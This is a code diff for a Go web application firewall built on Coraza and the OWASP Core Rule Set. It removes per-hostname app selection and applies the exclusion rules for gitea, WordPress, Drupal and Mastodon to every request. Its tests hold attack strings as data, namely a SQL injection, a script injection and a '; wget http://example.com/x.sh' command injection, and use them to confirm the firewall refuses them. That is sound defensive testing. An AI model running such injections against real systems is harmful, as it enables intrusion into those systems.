@@ -154,61 +186,53 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
` `
// app is an app whose ordinary requests the Core Rule Set would refuse, // giteaExclusions are the eighth change: the fields of gitea's own
// with the fixes that let them pass. // requests that skip the rules that refused them there, as Coraza
type app struct { // directives.
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
}
//go:embed gitea.conf
var giteaDirectives string
//go:embed wordpress.conf
var wordpressDirectives string
//go:embed drupal.conf
var drupalDirectives string
//go:embed mediawiki.conf
var mediawikiDirectives string
//go:embed mastodon.conf
var mastodonDirectives string
//go:embed vaultwarden.conf
var vaultwardenDirectives string
//go:embed nextcloud.conf
var nextcloudDirectives string
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
// //
//nolint:gochecknoglobals // a constant cannot be a map //go:embed gitea.conf
var apps = map[string]app{ var giteaExclusions string
"drupal": {directives: drupalDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in // wordpressExclusions are the ninth change: the fields of WordPress's own
// alphabetical order. // requests that skip the rules that refused them there, as Coraza
func AppNames() []string { // directives.
return slices.Sorted(maps.Keys(apps)) //
} //go:embed wordpress.conf
var wordpressExclusions string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf
var mastodonExclusions string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf
var vaultwardenExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
@@ -224,10 +248,6 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none. // there is none.
ExclusionsFile string ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
// apps only, or of every app while Apps is nil.
Apps map[string][]string
} }
// The ids of sww's own rules, which an exclusions file may not // The ids of sww's own rules, which an exclusions file may not
@@ -319,15 +339,13 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct { type CoreRuleSet struct {
engine coraza.WAF engine coraza.WAF
bodyLimit int64 bodyLimit int64
apps map[string][]string
} }
// New returns the Core Rule Set with the six changes and the apps' fixes, // New returns the Core Rule Set with the thirteen changes, at params'
// at params' paranoia level, without the rules it switches off, reading // paranoia level, without the rules it switches off, reading request
// request bodies up to params' limit, and with params' exclusions file // bodies up to params' limit, and with params' exclusions file loaded
// loaded before the Core Rule Set's rules. An exclusions file is an error // before the Core Rule Set's rules. An exclusions file is an error if it
// if it cannot be read or does not parse, or if checkExclusions refuses // cannot be read or does not parse, or if checkExclusions refuses it.
// it.
func New(params Params) (*CoreRuleSet, error) { func New(params Params) (*CoreRuleSet, error) {
body := "" body := ""
if params.BodyLimit > 0 { if params.BodyLimit > 0 {
@@ -350,13 +368,9 @@ func New(params Params) (*CoreRuleSet, error) {
} }
} }
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions, text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
fixes.String()) giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions)
if len(params.DisabledRules) > 0 { if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules)) ids := make([]string, len(params.DisabledRules))
@@ -374,9 +388,7 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err) return nil, fmt.Errorf("load the Core Rule Set: %w", err)
} }
return &CoreRuleSet{ return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
} }
// Result is what the Core Rule Set found in a request. // Result is what the Core Rule Set found in a request.
@@ -388,12 +400,11 @@ type Result struct {
Score int Score int
} }
// Inspect runs the Core Rule Set on r, a request from client, with the // Inspect runs the Core Rule Set on r, a request from client: on its
// fixes of the apps appsFor names for r's hostname: on its method, its URL // method, its URL with the query, and its headers, the Cookie header
// with the query, and its headers, the Cookie header without those apps' // without the cookies in cookiesNotRead, and on body, r's body as the
// cookies, and on body, r's body as the caller has it, as readBody reads // caller has it, as readBody reads it. It returns what it found, what it
// it. It returns what it found, what it read of body, and the error that // read of body, and the error that ended the reading early, if one did.
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect( func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader, r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) { ) (Result, []byte, error) {
@@ -401,24 +412,13 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none. // Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }() defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0) tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto) tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header { for name, values := range r.Header {
for _, value := range values { for _, value := range values {
if name == "Cookie" { if name == "Cookie" {
value = withoutCookies(value, cookiesNotRead) value = withoutCookiesNotRead(value)
if value == "" { if value == "" {
continue // it held those cookies alone continue // it held those cookies alone
} }
@@ -511,26 +511,9 @@ func score(tx types.Transaction) int {
return n return n
} }
// appsFor returns the names of the apps whose fixes a request for host, // withoutCookiesNotRead returns value, a Cookie header's, without the
// its Host header, gets: every app while SWW_APPS is unset, and otherwise // cookies in cookiesNotRead.
// those SWW_APPS lists for host's name, without the port and in func withoutCookiesNotRead(value string) string {
// lowercase.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
return c.apps[strings.ToLower(hostname)]
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string var kept []string
for cookie := range strings.SplitSeq(value, ";") { for cookie := range strings.SplitSeq(value, ";") {
+18 -177
View File
@@ -36,14 +36,12 @@ var loaded = struct {
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}} }{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params // loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for. %#v writes a nil // once, making it the first time params are asked for.
// Apps, which gives every app's fixes, apart from an empty one, which
// gives none.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) { func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock() loaded.Lock()
defer loaded.Unlock() defer loaded.Unlock()
settings := fmt.Sprintf("%#v", params) settings := fmt.Sprintf("%+v", params)
load, found := loaded.loaders[settings] load, found := loaded.loaders[settings]
if !found { if !found {
@@ -157,10 +155,9 @@ func inspectBody(
} }
for _, header := range r.headers { for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers, // Go's server keeps Host and Transfer-Encoding out of the headers.
// whatever their case.
name, value, _ := strings.Cut(header, ": ") name, value, _ := strings.Cut(header, ": ")
switch http.CanonicalHeaderKey(name) { switch name {
case "Host": case "Host":
req.Host = value req.Host = value
case "Transfer-Encoding": case "Transfer-Encoding":
@@ -205,8 +202,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
} }
// wantChange checks that crs lets through passes, a request one of the // wantChange checks that crs lets through passes, a request one of the
// six changes or an app's fixes are for, and still finds result in // thirteen changes is for, and still finds result in refused, a request like
// refused, a request like it that they are not for. // it that the change is not for.
func wantChange( func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request, t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result, result coreruleset.Result,
@@ -467,123 +464,6 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
matched(930120, 932160)) matched(930120, 932160))
} }
// giteaFixed are gitea requests that only gitea's fixes let through, one
// for each kind of fix, each with what the Core Rule Set finds in it
// without them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaFixed = []struct {
request request
result coreruleset.Result
}{
// A search of code, on the path of gitea's search.
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
// A file name, in a parameter gitea sends names in, on any path.
{get("/?path=.gitignore"), matched(930120)},
// A file name, in a cookie of gitea's.
{
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
}
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
// one that serves another app.
const (
giteaHost = "git.example"
otherHost = "blog.example"
)
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
// wordpress is WordPress's name in SWW_APPS.
const wordpress = "wordpress"
// withHost returns r sent to host.
func withHost(r request, host string) request {
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
}
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
// giving apps.
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
})
}
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, nil)
for _, fixed := range giteaFixed {
for _, host := range []string{giteaHost, otherHost} {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
// The hostname is matched without the port and without regard to case.
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
t.Parallel()
for _, apps := range []map[string][]string{
{giteaHost: {gitea}},
// SWW_APPS set empty lists no hostname.
{},
} {
crs := servingApps(t, apps)
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
}
}
}
}
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
// A search, which only WordPress's fixes let through.
search := get("/?s=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
// A file name that only gitea's fixes let through, and a search that only
// WordPress's fixes let through.
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
}
}
// withExclusions returns the Core Rule Set at the defaults, with the // withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path. // exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) { func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -725,19 +605,13 @@ func giteaRequests(t *testing.T) []request {
return requests return requests
} }
// An SQL injection, a script injection and a shell command after a ";", as // An SQL injection and a script injection, as a query value. Every app's
// query values. Every app's tests check that its fields still refuse the // tests check that its fields still refuse them.
// first two.
const ( const (
sqlInjection = "1'%20OR%20'1'='1" sqlInjection = "1'%20OR%20'1'='1"
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E" scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
) )
// passwordField is the form data field password, ending in "=", in which
// several apps take a password.
const passwordField = "password="
// hardValues are words that name commands and files, as a query or form // hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through. // value. An app's tests check that its fields let them through.
// //
@@ -745,24 +619,16 @@ const passwordField = "password="
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"} var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// wantRecordedRequestsPass checks that none of the recorded ordinary // wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused on example.com, where // requests in the file name in testdata is refused, at the defaults and
// they were recorded, while SWW_APPS lists only app for it. They are // while bodies are read. A request with no body is checked only at the
// checked at the defaults and while bodies are read. With SWW_APPS unset, // defaults: reading bodies changes nothing for it. Each request runs as its
// every app's fixes apply. These only switch checks off, so the requests // own parallel subtest.
// pass then too. A request with neither a body nor a Content-Type header is func wantRecordedRequestsPass(t *testing.T, name string) {
// checked only at the defaults: with neither, the set that reads bodies has
// nothing more to check. Each request runs as its own parallel subtest.
func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
apps := map[string][]string{"example.com": {app}} defaults, bodies := atDefaults(t), readingBodies(t)
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
for _, recorded := range recordedRequests(t, name) { for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -775,12 +641,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Errorf("%s %s refused: %+v", r.method, r.target, got) t.Errorf("%s %s refused: %+v", r.method, r.target, got)
} }
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool { if recorded.Body == "" {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type")
})
if recorded.Body == "" && !typed {
return return
} }
@@ -963,22 +824,12 @@ func wordpressAttackTargets(attack string) []string {
} }
} }
// wantWordPressRequestsPass checks that the recorded ordinary WordPress func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
// requests pass on otherHost, where they were recorded, while SWW_APPS lists t.Parallel()
// only wordpress for it. They pass at the defaults, and those with a body
// pass while bodies up to 64 KiB are read too. Every app's fixes only switch
// checks off, so the requests pass with SWW_APPS unset too.
func wantWordPressRequestsPass(t *testing.T) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
apps := map[string][]string{otherHost: {wordpress}} defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
Apps: apps,
})
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") { for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -999,16 +850,6 @@ func wantWordPressRequestsPass(t *testing.T) {
} }
}) })
} }
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
wantWordPressRequestsPass(t)
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, attack := range []string{ for _, attack := range []string{
sqlInjection, sqlInjection,
+1 -10
View File
@@ -1,4 +1,4 @@
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused # The tenth change: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a # ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the # search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
@@ -25,13 +25,6 @@
# 932230: ls -la # 932230: ls -la
# 932235: python3 # 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to: # Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3 # title: /admin/content?title=python3
# name: /admin/content/media?name=python3 # name: /admin/content/media?name=python3
@@ -244,5 +237,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
SecRule &ARGS_GET:json.mail "@eq 0" \ SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail" ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
+1 -17
View File
@@ -5,8 +5,6 @@ import (
"net/url" "net/url"
"slices" "slices"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -36,21 +34,7 @@ const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) { func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal") wantRecordedRequestsPass(t, "drupal-requests.txt")
}
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
} }
// drupalAttacks are an SQL injection, a path traversal and a script // drupalAttacks are an SQL injection, a path traversal and a script
+7 -54
View File
@@ -1,53 +1,8 @@
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests. # The eighth change: on gitea's paths, some fields skip the rules that refused
# They are the fields where gitea sends a search, a file name or a branch name. # ordinary gitea requests there. They are the fields where gitea sends a search,
# Each exclusion runs with the request, before the rules it switches off, those # a file name or a branch name. Each exclusion runs with the request, before the
# of phase 1 included, so this file is loaded before the Core Rule Set's rules. # rules it switches off, those of phase 1 included, so this file is loaded before
# Each comment names a request the rule refused. # the Core Rule Set's rules. Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# gitea's searches of code, of issues and pull requests, and of commits send the # gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there: # text searched for in q, which skips these rules there:
@@ -208,8 +163,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql # 942140: information_schema.sql
# 944110: java/lang/Runtime.java # 944110: java/lang/Runtime.java
# 944130: java.lang.String.md # 944130: java.lang.String.md
# Each request skips the rules that refused it. Rule 900591 already has path and # Each request skips the rules that refused it. The fourth change already has
# redirect_to skip 930120, 932160 and 932260 on every path. # path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file. # A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -334,5 +289,3 @@ SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \ "@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\ "id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range" ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
SecMarker END_GITEA
+1 -10
View File
@@ -1,4 +1,4 @@
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that # The twelfth change: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon # refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each # sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this # exclusion runs with the request, before the rules it switches off, so this
@@ -17,13 +17,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_mastodon when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query: # The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la # q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3 # acct: /api/v1/accounts/lookup?acct=python3
@@ -223,5 +216,3 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\ "ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/" ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
+14 -28
View File
@@ -57,21 +57,7 @@ const (
func TestOrdinaryMastodonRequestsPass(t *testing.T) { func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon") wantRecordedRequestsPass(t, "mastodon-requests.txt")
}
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
} }
// mastodonQueryFields sends each field that skips 930120, 932120, 932250 // mastodonQueryFields sends each field that skips 930120, 932120, 932250
@@ -165,7 +151,7 @@ var mastodonFormFields = []mastodonBodyField{
"form_redirect[current_password]=", "form_redirect[current_password]=",
}, },
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="}, {http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, passwordField}, {http.MethodPost, mastodonSignUp, "password="},
{http.MethodPost, mastodonSignUp, "reason="}, {http.MethodPost, mastodonSignUp, "reason="},
} }
@@ -301,31 +287,30 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
} }
} }
// mastodonCommandAttack is a shell command that only 932230 and 932235
// refuse on the fields that skip the four rules.
const mastodonCommandAttack = "; wget http://example.com/x.sh"
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) { func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel() t.Parallel()
crs := atDefaults(t) crs := atDefaults(t)
attack := url.QueryEscape(mastodonCommandAttack)
for _, target := range mastodonQueryFields { for _, target := range mastodonQueryFields {
got := inspect(t, crs, get(target+commandInjection)) if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
if got.Score < mastodonThreshold { t.Errorf("%s%s let through: %+v", target, attack, got)
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
} }
} }
for _, sent := range mastodonFormFields { for _, sent := range mastodonFormFields {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold { if mastodonForm(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
} }
attack, err := url.QueryUnescape(commandInjection)
if err != nil {
t.Fatal(err)
}
for _, sent := range mastodonJSONFields { for _, sent := range mastodonJSONFields {
if mastodonJSON(t, sent, attack) < mastodonThreshold { if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
} }
@@ -512,7 +497,7 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
} }
for _, value := range slices.Concat( for _, value := range slices.Concat(
refused, mastodonAttacks, []string{commandInjection}, refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
) { ) {
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold { if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
t.Errorf("username %s let through", value) t.Errorf("username %s let through", value)
@@ -563,7 +548,8 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
// The address keeps 932250 and the rules that refuse attacks. // The address keeps 932250 and the rules that refuse attacks.
for _, value := range slices.Concat( for _, value := range slices.Concat(
[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection}, []string{"ls%20-la"}, mastodonAttacks,
[]string{url.QueryEscape(mastodonCommandAttack)},
) { ) {
if mastodonForm(t, sent, value) < mastodonThreshold { if mastodonForm(t, sent, value) < mastodonThreshold {
